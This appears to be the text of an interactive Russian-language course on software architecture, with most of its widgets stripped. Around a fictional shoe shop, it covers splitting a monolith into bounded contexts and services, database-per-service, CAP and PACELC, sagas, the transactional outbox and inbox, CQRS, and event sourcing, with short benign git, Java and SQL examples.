Как получить такую матрицу на своей системе
Два источника. Трекер задач: если у задач есть поле «компонент» или ссылки на изменённые модули — выгрузите и посчитайте пары в таблице. Репозиторий: каждый коммит — это список изменённых файлов. Команда ниже печатает для каждого коммита за полгода, какие папки он трогал. Остаётся посчитать пары.
# для каждого коммита: строка "@хеш", потом изменённые папки модулей git log --since="6 months ago" --name-only --pretty=format:"@%h" \ | grep -E "^(@|src/)" \ | sed -E 's#^src/([^/]+)/.*#\1#' \ | uniq
глава 10 · живая модель разрежьте «Ботинок» сами: связность в цифрах
Линзы и матрица дают кандидатов. Теперь их надо проверить на том, как система работает: кто кого зовёт, где ломается транзакция, сколько задач будут задевать несколько частей. Перед вами рабочий стол. Назначьте каждой из 20 функций контекст — схема и цифры пересчитываются сразу.
Для разгона загружена нарезка по сущностям из второй попытки. Посмотрите, как она выглядит в цифрах. Потом переставляйте сами или жмите «Применить» у подсказок — модель предложит, что переставить с наибольшей пользой.
глава 11 · проверка будущим сценарии изменений: что будет, когда бизнес принесёт новую задачу
Связность во время работы — половина правды. Вторая половина — как нарезка переживёт изменения. Олег взял задачи из планов на следующий год и прогнал каждую по нарезке: сколько контекстов придётся менять, сколько команд договариваться, сколько релизов согласовывать.
Выберите нарезку и сценарий. «Ваша нарезка» — та, что сейчас стоит в главе 10. Подсвечено, какие контексты и функции придётся менять.
Все сценарии сразу
Сколько контекстов меняет каждый сценарий при каждой нарезке. Меньше — лучше, но смотрите и на комментарии: иногда задача сквозная по природе, и никакая нарезка не сделает её «одноместной».
глава 12 · решение модуль или сервис — и что выделять первым
Двенадцать контекстов нашли. Значит ли это двенадцать микросервисов? Нет. Контекст — логическая граница. Сервис — физическая: отдельный процесс, отдельная база, отдельный релиз, отдельное дежурство. Не каждая логическая граница стоит физической.
Названные причины выносить в сервис
У части своя команда и свой темп релизов, и общий релиз ей мешает.
Нагрузка отличается в десятки раз, и масштабировать всё вместе дорого.
Безопасность или закон требуют отдельного периметра (PCI DSS).
Нужен другой стек: Python и видеокарты для модели подбора.
Разные требования к доступности: часть можно отключить без вреда для заказов.
Не причины
«Так современнее». «Так у Netflix». «Чтобы было удобно масштабировать когда-нибудь». «Мы же нашли контекст — значит, это сервис». «Каждой команде — по три сервиса». Всё это — поводы получить распределённый монолит.
Тренажёр: риск × польза — что выделять первым
Олег разложил кандидатов на две оси. Польза: насколько выделение решит настоящую боль — релизы, нагрузку, безопасность. Риск: насколько часть связана с остальными — вызовы в горячем пути, общие транзакции, чужие таблицы. Положите каждого кандидата в квадрант. После ответа он появится на поле.
Решено 0 из 0.
Решение «Ботинка» — как его записал Олег
ADR-014. Нарезка «Ботинка» на контексты и сервисы
Статус: принято. Дата: 12.03.
Контекст
Один монолит, 5 команд, общий релиз по средам. Сбои из-за
чужих правок, модель подбора не встроить в Java-приложение.
Решение
1. 12 контекстов (таблица контекстов — приложение А).
2. 9 из них — модули модульного монолита: свой пакет,
свои таблицы, фасад, проверка границ тестами.
3. Отдельными сервисами выносим три:
Подбор размера — своя команда, Python и видеокарты,
эксперименты каждый день;
Платежи — сужаем периметр PCI DSS;
Поиск — нагрузка в 250 раз выше остального
каталога; работает над копией карточек.
4. Уведомления и Поддержку покупаем готовыми, подключаем
через слой предотвращения порчи.
5. Порядок: Подбор → Поиск → Платежи. По одному в квартал.
Последствия
+ независимые релизы трёх команд; периметр аудита — 1 сервис
− 3 пайплайна и дежурства; поиск отстаёт от каталога
до 5 секунд (записано требованием)
Пересмотр: через два квартала, по целям Ц-1…Ц-4.
глава 13 · практика как выделять сервис: девять шагов без «большого взрыва»
Подбор размера выбрали первым. Теперь его надо вынести, не остановив магазин. Последовательность важна: почти все провальные выделения нарушают шаги 2, 5 или 8. Нажмите на шаг, чтобы раскрыть.
глава 14 · антипаттерны восемь способов разрезать плохо — вживую
Первые две попытки Олега и Бориса — классика. Но способов ошибиться больше. Выберите антипаттерн и нажмите «▶ Проиграть задачу»: увидите, как одна обычная доработка расползается по системе.
Все антипаттерны с признаками
Тренажёр: узнайте антипаттерн по симптому
Решено 0 из 0.
глава 15 · аналитику как оформить результат нарезки
Нарезка, которая живёт только в голове Бориса и на фото доски, через полгода превращается в спор «а мы разве так договаривались?». Олег оформил результат в шесть артефактов. Их и сдают после нарезки.
1. Таблица контекстов
Назначение, язык, владелец, данные, события, API — по строке на контекст. Главный документ.
2. Карта контекстов
Кто кому поставляет, тип отношения, событие или вызов. См. раздел «Карта контекстов».
3. Словарь по контекстам
Спорные слова и что они значат в каждом контексте.
4. Список инвариантов
Правила «всегда верно» и контекст-владелец каждого. Разорванные границей — с описанием саги.
5. Решения (ADR)
Почему выделили именно эти сервисы и в каком порядке.
6. Открытые вопросы
Горячие точки, которые не решили: «чей резерв?», «где рекомендации?». С владельцем и сроком.
Таблица контекстов «Ботинка»
Так выглядит главный артефакт. Читается слева направо: зачем контекст, на каком языке говорит, чей он, чем владеет, о чём сообщает другим и что умеет по запросу.
| Контекст | Назначение | Язык (ключевые слова) | Владелец | Данные | Публикует события | API: команды и запросы |
|---|---|---|---|---|---|---|
| Подбор размера основной · сервис | Посоветовать размер, в котором пара подойдёт | стопа, колодка, полнота, уверенность | «Подбор» | фото и замеры стоп, версии модели | РазмерПодобран | ПодобратьРазмер, ПолучитьРекомендацию |
| Возвраты основной · модуль | Принять возврат пары и понять причину | заявка, причина, приёмка, брак | «Логистика» | заявки на возврат, причины | ВозвратПринят, ВозвратОтклонён | ОформитьВозврат, ПринятьПару |
| Каталог поддерживающий · модуль + сервис Поиска | Показать и найти товар | карточка, категория, фильтр, рейтинг | «Витрина» | карточки, отзывы; индекс поиска — копия | ТоварОпубликован, ТоварСнят | НайтиТовары, ПолучитьКарточку, ОпубликоватьОтзыв |
| Цены поддерживающий · модуль | Назначить цену и скидки | базовая цена, акция, промокод | «Витрина» | правила цен и акций | ЦенаИзменена, АкцияЗапущена | РассчитатьКорзину, ПолучитьЦену |
| Продажи поддерживающий · модуль | Превратить выбор в заказ | корзина, позиция, сумма, оформить | «Заказ» | корзины, заказы | ЗаказОформлен, ЗаказОтменён | ДобавитьВКорзину, ОформитьЗаказ, ОтменитьЗаказ |
| Склад поддерживающий · модуль | Хранить, резервировать, собирать | артикул, ячейка, резерв, сборка | «Логистика» | остатки, резервы, сборочные задания | ОстатокИзменился, ЗаказСобран | Зарезервировать, СнятьРезерв, ПолучитьНаличие |
| Лояльность поддерживающий · модуль | Удержать покупателя | баллы, уровень, рекомендация | «CRM» | счета баллов, модели рекомендаций | БаллыНачислены | СписатьБаллы, ПолучитьРекомендации |
| Покупатели поддерживающий · модуль | Знать покупателя и его согласия | профиль, контакт, согласие | «CRM» | профили, адреса, согласия (ПДн) | СогласиеИзменено, ПокупательУдалён | ПолучитьКонтакты, ИзменитьСогласие |
| Платежи общий · сервис | Принять и вернуть деньги | платёж, холдирование, чек, возврат средств | «Заказ» | платежи, чеки | ОплатаПолучена, ДеньгиВозвращены | Списать, Вернуть |
| Доставка общий · модуль | Довезти и показать, где посылка | отправление, трек-номер, перевозчик | «Логистика» | отправления, статусы | ПереданПеревозчику, Вручён | РассчитатьДоставку, СоздатьОтправление |
| Уведомления общий · покупаем | Доставить сообщение покупателю | шаблон, канал, отписка | «CRM» | журнал отправок | — | слушает события всех |
| Поддержка общий · покупаем | Помочь с проблемой | обращение, срок ответа, компенсация | «CRM» | обращения | КомпенсацияНазначена | СоздатьОбращение |
Карточка одного контекста подробно
Для каждого контекста Олег заполнил карточку по образцу открытого шаблона «холст ограниченного контекста» (Bounded Context Canvas) сообщества DDD Crew. Выберите контекст — увидите карточку и то, как она лежит в репозитории документации.
Критерии готовности границы
Границу можно считать готовой к реализации, когда выполнены все десять пунктов. Нажмите, чтобы раскрыть.
Проверьте себя: какой критерий не выполнен? Решено 0 из 0.
Вопросы для воркшопа по нарезке
Олег проводил два воркшопа по три часа: бизнес и разработка в одной комнате. Вот его список вопросов по этапам.
Как это звучит в требованиях
ОГРАНИЧЕНИЯ ГРАНИЦ (раздел постановки «Архитектурные ограничения»)
ОГР-1 Контекст «Склад» — единственный владелец остатков и резервов.
Другие контексты получают наличие только запросом
ПолучитьНаличие или из события ОстатокИзменился.
Прямое чтение таблиц Склада запрещено и проверяется
архитектурным тестом в сборке.
ОГР-2 Проверка остатка и создание резерва выполняются в одной
транзакции внутри Склада. Резерв держится 15 минут;
срок — настройка Склада.
ОГР-3 Каталог показывает признак «в наличии» из своей копии;
допустимое отставание копии — до 5 секунд.
ОГР-4 Персональные данные покупателя хранит только контекст
«Покупатели». Остальные хранят номер покупателя; адрес
получателя — в Доставке на время доставки + 30 дней.
ОГР-5 Оформление заказа: не больше 3 синхронных вызовов между
контекстами; начисление баллов, письма и сборка —
по событию ЗаказОформлен.
глава 16 · проверь себя границы и нарезка: задачи из жизни
Решено 0 из 0.
Граница проходит по данным. Можно сколько угодно аккуратно разложить код по сервисам — если они лезут в одну базу, это один сервис, просто запущенный несколько раз. Правило «своя база у каждого» неудобное, дорогое и вызывает сопротивление у всех. И без него ничего не работает.
зачем это зачем у каждого сервиса своя база
зачем это правило почему нельзя ходить в чужую базу
Правило «у каждого сервиса своя база, и чужую трогать нельзя» звучит как бюрократия. На деле это единственное, что держит границу.
попробуйте что можно и что нельзя: нажмите на действие
Два сервиса «Ботинка»: Заказы со своей базой и Склад со своей. Вам нужен остаток товара. Нажимайте на способы — увидите, пройдёт это или нет и почему.
чем заменять пять способов получить чужие данные
Запретили — предложите. Вот все способы, которые остаются, от самого простого к самому мощному. Нажмите на способ.
Устроим проверку. Нажмите на событие — и посмотрите, как поведёт себя каждый из пяти способов. Строку можно нажать, чтобы раскрыть подробности.
принцип база на сервис: что именно запрещено
Запрещено
- Другому сервису писать в ваши таблицы.
- Другому сервису читать ваши таблицы напрямую — включая «только SELECT для отчёта».
- Внешние ключи из чужих таблиц на ваши.
- Общие представления (view), скрывающие прямое чтение.
- Общие миграции: ваши изменения схемы не должны требовать чужого релиза.
Разрешено и нормально
- Одна физическая СУБД на несколько сервисов, если схемы разделены и права нарезаны — переходный этап.
- Своя копия чужих данных, полученная через события.
- Реплика для чтения, принадлежащая владельцу и отдаваемая наружу как часть контракта.
- Отдельная витрина для отчётности, наполняемая событиями.
- Разные типы хранилищ у разных сервисов — в этом и смысл свободы.
способы пять способов получить чужие данные
Нажмите на строку — раскроется, чем платить и когда выбирать.
интерактив выберите способ под ситуацию
Решено 0 из 0.
частый случай справочники: дублировать или спрашивать
«Страны», «валюты», «категории», «статусы» — данные, которые нужны всем и меняются редко. Отдельный сервис-справочник кажется очевидным решением и почти всегда оказывается неверным.
Сервис-справочник для всех
Каждый вызов к нему — звено в цепочке доступности. Справочник падает — падает всё. При этом данные меняются раз в полгода. Классический наносервис с максимальным радиусом поражения.
Копия у каждого через событие
Обычно правильный ответ. Владелец публикует изменения, каждый держит свою копию и читает её локально. Доступность не страдает, задержка нулевая, обновление приходит за секунды.
Вшить в код и не думать
Для по-настоящему статичных наборов (валюты, коды стран) — законно. Изменение раз в пять лет переживёт релиз. Не надо строить инфраструктуру ради данных, которые не меняются.
потери чего вы лишаетесь, разделив базы
Честный список того, что перестаёт работать, и чем это заменяется. Ни одна замена не бесплатна.
отчётность куда девать сквозные отчёты
Вопрос, который топит больше всего переходов на микросервисы: «а как теперь построить отчёт по продажам в разрезе складов и категорий, если данные в четырёх базах?».
| Подход | Как работает | Когда годится | Цена |
|---|---|---|---|
| Сбор по API на лету | Отчётный сервис опрашивает остальные и склеивает | Мелкие отчёты, единицы записей | Не масштабируется: отчёт за год положит всех. Доступность отчёта = произведению доступностей. |
| Витрина по событиям | Сервисы публикуют события, отчётный контекст строит свою денормализованную модель | Основной рабочий вариант | Отставание в секунды-минуты; нужна обработка дублей и переупорядочивания; витрину надо уметь перестраивать с нуля. |
| CDC в хранилище | Изменения из баз сервисов вычитываются журналом (Debezium) и льются в DWH | Аналитика, BI, ML | Хранилище видит внутренние схемы — связность через чёрный ход. Смягчается тем, что поток идёт в одну сторону и владелец знает о потребителе. |
| Отдельная модель чтения у владельца | Сервис сам держит денормализованную проекцию для своих тяжёлых запросов | Отчёты внутри одного контекста | Дублирование данных внутри сервиса; нужно следить за согласованностью проекции. |
задание владение данными
Решено 0 из 0.
Как только данные лежат больше чем в одном месте, «правда» перестаёт быть одна. Дальше вопрос всегда один: насколько свежие данные нужны вот здесь. Ответ «везде и всегда самые свежие» означает либо один сервер, либо остановку системы при первом обрыве сети.
зачем это зачем разбираться в согласованности
интерактив CAP вживую: разорвите сеть и выберите
Два дата-центра, у каждого копия баланса. Обычно они синхронны. Порвите сеть между ними — и система обязана выбрать: отказать в обслуживании (сохранив согласованность) или ответить возможно устаревшим (сохранив доступность). Третьего варианта нет, и выбор за вас сделает либо архитектор, либо случай.
Дата-центр A основной
Баланс: 100 ₽
Дата-центр B реплика
Баланс: 100 ₽
теория CAP, и почему её всё время цитируют неверно
Что теорема говорит на самом деле
При разделении сети (P) распределённая система вынуждена выбрать между согласованностью (C) и доступностью (A). Разделение — не выбор, а факт природы: сеть рвётся. Поэтому выбор ровно один: CP или AP, и делается он на время раздела.
Как её цитируют неверно
«Выберите два из трёх». Отсюда берутся «CA-системы», которых не бывает: отказаться от P означает объявить, что сеть никогда не рвётся. Ещё одна ошибка — считать, что выбор делается один раз на всю систему. На деле он делается на каждую операцию.
PACELC — более полезная формулировка
Если раздел (P), то выбор между A и C; иначе (E, else) — между задержкой (L) и согласованностью (C). Второй половиной пользуются каждый день, а вспоминают о ней редко: даже при исправной сети синхронная репликация на три узла стоит задержки, а чтение с реплики экономит время ценой свежести. Большинство настроек вашей базы — это ручка именно на этой оси.
важнее, чем CAP PACELC: выбор, который вы делаете каждый день
У CAP есть большая беда: она описывает только аварию. Разрыв сети между узлами — событие редкое, пару раз в год. А решение про согласованность вы принимаете не раз в год, а прямо сейчас, в обычный рабочий день.
PACELC достраивает картину. Название — это просто сокращение самой формулы:
PACELC
if (P) если Partition — сеть порвалась
A or C выбирай: Availability (отвечать)
или Consistency (отвечать верно)
Else (E) иначе — обычная жизнь, сеть цела
L or C выбирай: Latency (отвечать быстро)
или Consistency (отвечать верно)
Посмотрите сами
Три копии базы «Ботинка». Клиент покупает последнюю пару 42-го размера. Переключайте состояние сети и выбор — смотрите, что произойдёт.
лестница уровни согласованности: от строгой к никакой
Между «всё сразу везде» и «когда-нибудь сойдётся» есть промежуточные гарантии, и обычно нужна именно одна из них. Нажмите на уровень.
практика что показывать пользователю, пока не сошлось
Отложенная согласованность — это не только техника, но и интерфейс. Четыре рабочих приёма:
Явный статус
«Заказ принят, обрабатывается». Честно и понятно. Требует состояния в модели и экрана для него.
Оптимистичный отклик
Показать результат сразу, как будто он уже применён, и откатить при ошибке. Хорошо для лайков и корзины, плохо для денег.
Читать своё из источника
Автору показываем данные с главного узла, остальным — с реплики. Снимает 90 % жалоб «я сохранил, а не видно».
Заблокировать повтор
Кнопка гаснет до подтверждения. Примитивно и надёжно: снимает половину дублей ещё до всякой идемпотентности.
задание модель согласованности под задачу
Решено 0 из 0.
Транзакции между сервисами не существует. Вместо неё — цепочка шагов, и если шаг не удался, предыдущие надо отменять руками. Главное, что тут надо понять: отменить — это не «как будто не было». Деньги списали и вернули — в выписке две строки, и клиент их видел обе.
зачем это зачем нужны саги
с самого начала что такое сага и зачем она понадобилась
В монолите всё было просто: одно слово @Transactional — и база сама следила, чтобы либо всё записалось, либо ничего. Разделили базы — и это слово перестало работать.
Житейски: вы планируете поездку
Забронировали гостиницу. Купили билет на самолёт. Оформили страховку. Три разные конторы, три отдельных действия.
И вот выясняется, что рейс отменили. Нет никакой общей кнопки «отменить поездку» — вам придётся отдельно звонить в гостиницу, отдельно возвращать страховку. Каждое действие отменяется своим способом, и отмена — это новое действие, а не стирание прошлого.
➕ Компенсация в саге
Вы добавляете новое действие, которое отменяет прежнее. Списали деньги — делаете возврат. В выписке будут обе операции: и списание, и возврат.
два способа оркестрация и хореография: проиграйте оба
Сага — это план. А кто этот план держит в голове — вопрос отдельный, и ответов два. Нажимайте «Дальше» и сравнивайте: слева и справа один и тот же заказ.
симулятор сага оформления заказа — уроните любой шаг
Пять шагов в пяти сервисах. Выберите стиль, выберите шаг, который должен упасть, и запустите. Смотрите, что произойдёт с уже выполненными шагами.
важно компенсация — это не откат
Откат транзакции
Ничего не произошло. Никто не успел увидеть промежуточное состояние, потому что его не было видно снаружи. База гарантирует изоляцию.
Компенсация саги
Произошло, было видно, и теперь выполняется обратное действие. Деньги списаны и возвращены — в выписке две операции. Письмо «заказ принят» отправлено, следом летит «извините, отменён». Товар был зарезервирован, и кто-то в это время не смог его купить.
Что не компенсируется вообще
- Отправленное письмо или пуш. Нельзя «разотправить» — можно только отправить извинение. Поэтому уведомления ставят после точки невозврата, а не до.
- Выданный физический товар. Компенсация превращается в бизнес-процесс возврата с человеком, а не в вызов API.
- Показанные данные. Пользователь уже увидел «заказ оформлен» и сделал на этом основании что-то в реальном мире.
- Внешний эффект у партнёра. Курьер выехал, слот на складе занят, талон в очереди выдан.
классификация три типа шагов саги
Правильный порядок шагов выводится из этой классификации почти механически.
Компенсируемые
Можно отменить обратным действием: резерв снять, бонусы вернуть, черновик удалить. Идут первыми.
Точка невозврата (pivot)
Шаг, после которого сага обязана дойти до конца. Обычно это списание денег или передача заказа во внешнюю систему. Ровно один на сагу. Если их два — процесс надо перепроектировать.
Повторяемые
После точки невозврата: гарантированно выполнятся рано или поздно, их можно повторять до успеха. Уведомление, задание на сборку, запись в аналитику. Идут последними.
баланс оркестрация против хореографии
| Вопрос | Оркестрация | Хореография |
|---|---|---|
| Где описан процесс | В одном месте — в оркестраторе, его видно целиком | Нигде: он размазан по подпискам сервисов |
| Кто знает о ком | Оркестратор знает всех; участники не знают друг друга | Никто не знает никого явно, но все знают формат событий |
| Добавить шаг | Правка оркестратора — одно место, но релиз оркестратора | Новый подписчик — никого не трогаем; но связь неявная |
| Понять, на чём застряло | Состояние саги видно в одной таблице | Надо собирать по логам и трассировке нескольких сервисов |
| Риск | Оркестратор притягивает логику и становится мини-монолитом | Циклические реакции и «событийный суп», который никто не может нарисовать |
| Когда выбирать | Больше 3–4 шагов, нужны состояние, таймауты, разбор застрявших | 2–3 шага, простая реакция на факт, потребители независимы |
не путать оркестратор саги и оркестратор пайплайна
Слово «оркестратор» занято дважды, и на собеседовании этим пользуются. Temporal и Camunda оркеструют саги. Apache Airflow и Dagster оркеструют пайплайны данных. Общего у них только слово.
Оркестратор саги · Temporal, Camunda, Conductor
Ведёт один экземпляр бизнес-процесса: заказ №12345. Запускается по событию, живёт от секунд до недель, умеет компенсации. Главный вопрос, на который отвечает: «где сейчас этот заказ и почему он там застрял».
Оркестратор пайплайна · Airflow, Dagster
Ведёт регулярную обработку наборов данных: витрина продаж за вчера. Запускается по расписанию, отрабатывает за минуты-часы, компенсаций нет — при сбое просто перезапускают. Вопрос: «пересчиталась ли витрина за 3 сентября».
| Признак | Сага | Пайплайн данных |
|---|---|---|
| Единица работы | Один экземпляр процесса: заказ, заявка, клиент | Порция данных за период: выгрузка за сутки |
| Что запускает | Событие в бизнесе — клиент оформил заказ | Расписание либо готовность данных на входе |
| Как описан процесс | Код процесса либо схема BPMN | DAG: узлы-задачи и зависимости между ними |
| Откат при сбое | Компенсации: вернуть деньги, снять резерв | Компенсаций нет — перезапуск с нужного узла |
| Сколько живёт | От секунд до недель, состояние сохраняется | Минуты-часы, состояние — факт «отработало» |
| Кто владелец | Продуктовая команда | Команда данных |
обязательно четыре вещи, без которых сага сломается
задание саги на практике
Решено 0 из 0.
Сервис должен записать себе в базу и сообщить об этом остальным. База и очередь — две разные системы, общей транзакции на них нет. Что бы вы ни делали первым, есть момент, когда первое уже случилось, а второе ещё нет. Упадёте ровно там — данные и события разойдутся навсегда.
зачем это зачем нужны outbox и CDC
с самого начала что за проблема и почему её вообще пришлось решать
Житейски: официант и кухня
Официант принял заказ. Ему надо сделать два дела: записать заказ в свой блокнот (чтобы потом выставить счёт) и крикнуть на кухню (чтобы блюдо начали готовить).
Записал, но не крикнул
В счёте блюдо есть, на кухне о нём не знают. Гость ждёт и не дожидается.
Крикнул, но не записал
Блюдо готовят, но в счёт оно не попало. Ресторан накормил бесплатно.
Блокнот и кухня — две разные системы. Между двумя действиями всегда есть щель, и если официант в неё провалится (отвлёкся, уволился, упал), одно дело сделано, а второе — нет.
То же самое в коде
Сервис заказов должен записать заказ в свою базу и отправить событие в брокер, которого ждут склад и уведомления.
@Transactional // транзакция БАЗЫ
public void placeOrder(Order o) {
orderRepository.save(o); // 1. записали в свою базу
// ← вот здесь щель
kafka.send("orders", event); // 2. отправили в брокер
}
Упали между 1 и 2 → заказ есть, склад о нём не знает.
Поменяем местами → событие ушло, а заказа нет.
Третьего порядка не существует.
«А почему нельзя обернуть обе операции одной транзакцией?»
Самый частый вопрос, и ответ простой: транзакция — это функция базы данных. База умеет откатывать свои записи. Отправленное в Kafka сообщение база откатить не может — она о нём вообще не знает.
по шагам как это работает: проиграйте шесть шагов
Тот же заказ, но по правилам outbox. Переключите способ доставки и пройдите шаги — смотрите, что меняется.
симулятор уроните процесс между двумя записями
Сервис оформляет заказ: пишет его в свою базу и публикует событие OrderPlaced, которого ждут склад и уведомления. Выберите способ и точку сбоя.
База сервиса «Заказы»
Таблица outbox
Брокер (топик orders)
механика transactional outbox — как это устроено
Идея в одну строку: событие пишется в ту же базу и в ту же транзакцию, что и бизнес-данные. Раз транзакция одна, разойтись они не могут. Отправкой в брокер занимается отдельный процесс, читающий таблицу.
-- шаг 1: одна транзакция — бизнес-данные и факт события BEGIN; INSERT INTO orders(id, customer_id, total, status) VALUES ('ord-77', 'cus-3', 4200, 'PLACED'); INSERT INTO outbox(id, aggregate_id, type, payload, created_at) VALUES (gen_random_uuid(), 'ord-77', 'OrderPlaced', '{"orderId":"ord-77","total":4200,...}', now()); COMMIT; -- либо и заказ, и событие, либо ничего -- шаг 2: отдельный процесс (relay) забирает и публикует SELECT * FROM outbox WHERE sent_at IS NULL ORDER BY created_at LIMIT 100 FOR UPDATE SKIP LOCKED; -- чтобы несколько реле не мешали друг другу -- публикуем в брокер, затем: UPDATE outbox SET sent_at = now() WHERE id = ...;
sent_at — тогда при рестарте оно опубликует его снова. Поэтому идемпотентность получателя обязательна всегда, никакой outbox её не отменяет.вариант CDC: читать журнал базы вместо таблицы
Change Data Capture — чтение журнала транзакций СУБД (WAL в PostgreSQL, binlog в MySQL) и превращение изменений в события. Инструмент по умолчанию — Debezium.
outbox в своей транзакции, а Debezium читает журнал и публикует. Так снимается недостаток чистого CDC (события в терминах таблиц) и недостаток чистого outbox (реле с опросом базы): событие сформулировано доменно самим приложением, а доставка идёт из журнала, без опроса и без дополнительного процесса.обратная сторона inbox: как получателю не обработать дважды
Outbox решает задачу отправителя. У получателя своя: сообщение придёт повторно, и обработать его второй раз нельзя.
BEGIN; -- уникальный индекс по message_id: второй INSERT упадёт INSERT INTO processed_messages(message_id, consumer, processed_at) VALUES ('msg-91', 'inventory', now()) ON CONFLICT (message_id, consumer) DO NOTHING; -- если вставки не было — сообщение уже обработано, выходим UPDATE stock SET reserved = reserved + 1 WHERE sku = 'SKU-5'; COMMIT;
Три способа сделать обработку идемпотентной
- Таблица обработанных — универсально, требует уборки старых записей.
- Естественная идемпотентность —
SET status = 'PAID'можно выполнить дважды без вреда, в отличие отbalance = balance - 100. - Версия / условная запись —
UPDATE ... WHERE version = 7: повтор не пройдёт, потому что версия уже изменилась.
Порядок сообщений
Глобального порядка не бывает. Гарантия даётся внутри партиции, поэтому ключом партиционирования берут идентификатор агрегата (orderId): все события одного заказа попадут в одну партицию и придут по порядку. События разных заказов могут перемешаться — и это нормально.
Если порядок всё-таки нарушится, спасает номер версии в событии: получатель отбрасывает события с версией не больше уже применённой.
задание надёжная публикация событий
Решено 0 из 0.
Этот раздел — одна история. Анна пользуется интернет-магазином: оформляет заказы и смотрит список своих заказов. На её примере разберём, что такое CQRS, зачем он нужен и как устроен внутри. Идите по главам по порядку: каждая опирается на предыдущую.
карта раздела куда мы идём
глава 1 · определение что такое CQRS за одну минуту
Сначала одно слово, без которого дальше не понять ничего. Модель — это форма, в которой код держит данные: класс с полями и методами. Например, класс Order с полями «номер», «товары», «сумма», «статус» и методом «оформить».
Звучит абстрактно, поэтому сразу посмотрим на живом примере. Анна делает в магазине две вещи. Выберите, как написан код, и нажмите на действие Анны. Сравните цифры внизу.
глава 2 · две половины команда или запрос
В первой главе мы разделили код Анны на две половины. У них есть имена, и от них CQRS получил свои буквы: Command — команда, Query — запрос.
Всё, что пользователь делает в системе, бывает двух видов. Отличить их можно одним вопросом: изменится ли что-нибудь после этого действия?
Меняет данные, поэтому сначала проверяет правила. Отвечает коротко: «готово» или «нельзя, потому что…». Если повторить команду, результат может получиться другим.
Ничего не меняет и отдаёт готовый вид под экран. Можно повторять сколько угодно раз, мир от этого не изменится.
Разложите действия по корзинам. Решено 0 из 0.
глава 3 · почему почему одной модели мало
Сначала расшифруем страшные буквы
C Q R S
Command Query Responsibility Segregation
команды запросы ответственность разделение
дословно: «разделяем ответственность
за команды и за запросы»
по-человечески: ЗАПИСЬ И ЧТЕНИЕ — РАЗНЫЕ ЗАДАЧИ,
и делать их одним и тем же кодом
не обязательно
Житейски: пекарня
На кухне важны рецепт, граммы, порядок действий, температура. Ошибся — выбросил партию.
На витрине важно другое: красиво выложить, быстро найти, быстро отдать. Покупателю не нужно знать про граммы и температуру — ему нужны название, цена и картинка.
Теперь — та самая боль. Один заказ, два взгляда
Нажмите на кнопки: что нужно коду, когда он записывает заказ, и что нужно, когда он показывает заказ.
глава 4 · почувствуйте пекарня: одно окно или два
Мы уже знаем определение и видели код. Теперь почувствуем, почему чтение и запись мешают друг другу, когда живут в одном месте. Уйдём от кода в жизнь.
В пекарне работает повар: он принимает заказы и следит за правилами (нельзя продать то, чего нет). Покупатели делают две вещи: спрашивают «что у вас есть?» и покупают. Спрашивают примерно в десять раз чаще, чем покупают.
Выберите, как устроена пекарня, и запустите утренний наплыв. Потом переключите режим и запустите ещё раз, чтобы сравнить.
👨🍳 Кухня: модель записи
Меняет данные и проверяет правила. Работает медленно, зато правильно.
🪧 Витрина: модель чтения
промежуточный итог что мы уже поняли
Остановимся и соберём всё, что узнали в главах 1–4, в одну карточку. Дальше пойдём внутрь системы.
глава 5 · изнутри путь команды и путь запроса по системе
Теперь проследим по шагам, через что проходит действие Анны внутри сервиса. Выберите сценарий и нажимайте «Дальше». Подсвеченный блок на схеме — то место, где сейчас находится запрос. Ниже видно, что там происходит, какой там код, что лежит в базе и почему сделано именно так.
База одна на оба пути. Это важно: CQRS первого уровня разделяет код, а не хранилища.
глава 6 · как ломается проследите, как одна модель превращается в проблему
Никто не проектирует плохо специально. Разберём, как это получается само — шаг за шагом, на живом примере.
глава 7 · уровни три уровня CQRS — выбирайте минимальный
1. Разные модели в коде
Одна база. Запись идёт через доменные объекты с правилами, чтение — отдельными запросами сразу в DTO, мимо сущностей. Почти всегда полезно и почти бесплатно. С этого стоит начинать всем.
2. Отдельная схема для чтения
Денормализованные таблицы или материализованные представления в той же базе, обновляемые при изменениях. Появляется отставание, зато тяжёлые экраны отдаются одним запросом без единого JOIN.
3. Отдельное хранилище для чтения
Витрина в другой БД: Elasticsearch для поиска, Redis для горячих счётчиков, колоночная база для аналитики. Наполняется событиями. Дорого: отставание, перестроение, согласованность, отдельная эксплуатация.
глава 8 · соберите сами пропустите заказ через уровень 1, 2 и 3
Три уровня легко перечислить, но разницу надо увидеть. Выберите уровень и нажмите кнопку: Анна оформит заказ и сразу же откроет «Мои заказы». Следите, какие блоки загораются, сколько это стоит по времени и увидит ли Анна свой заказ.
глава 9 · выбор какой уровень нужен в каждой ситуации
Правило простое: берите самый низкий уровень, который решает проблему. Каждый следующий добавляет движущиеся части и отставание. Разложите ситуации по уровням. Решено 0 из 0.
глава 10 · отставание модель чтения отстаёт — что видит пользователь
Менеджер меняет цену товара. Запись идёт в основную модель, витрина обновляется событием с задержкой. Покрутите задержку и посмотрите, что увидит покупатель и что увидит сам менеджер.
Модель записи
Источник правды, охраняет правила
Очередь событий
PriceChanged в пути
Витрина (модель чтения)
То, что видит покупатель
глава 11 · баланс CQRS честно
глава 12 · а это другое event sourcing: зачем хранить историю вместо остатка
Житейски: банковская выписка
Представьте, что банк хранил бы только остаток на счету: 12 400 ₽. И всё. Никакой истории.
Вы приходите и говорите: «у меня пропали три тысячи». Что ответит банк? Ничего. У него нет данных, откуда взялось число 12 400. Он не может ни доказать свою правоту, ни найти ошибку, ни отменить одну операцию.
Что это даёт — по шагам
глава 12 · продолжение хранить не состояние, а историю
Обычная система хранит текущее состояние: «баланс 1200». Event sourcing хранит все события: «начислено 1000», «начислено 500», «списано 300» — а состояние вычисляется их проигрыванием. Журнал событий неизменяем: исправление — это новое компенсирующее событие, а не UPDATE.
Обычное хранение
accounts
┌────────┬─────────┐
│ id │ balance │
├────────┼─────────┤
│ acc-1 │ 1200 │ ← как пришли к 1200,
└────────┴─────────┘ неизвестно
Event sourcing
events (append-only)
┌───┬────────┬──────────────┬──────┐
│ # │ acc │ type │ amt │
├───┼────────┼──────────────┼──────┤
│ 1 │ acc-1 │ Deposited │ 1000 │
│ 2 │ acc-1 │ Deposited │ 500 │
│ 3 │ acc-1 │ Withdrawn │ 300 │
└───┴────────┴──────────────┴──────┘
balance = 1000 + 500 − 300 = 1200
плюс ответ на вопрос «почему»
Что обязательно прилагается
- Снимки (snapshots). Проигрывать 400 тысяч событий на каждое чтение нельзя — периодически сохраняется состояние на момент N, дальше проигрывается хвост.
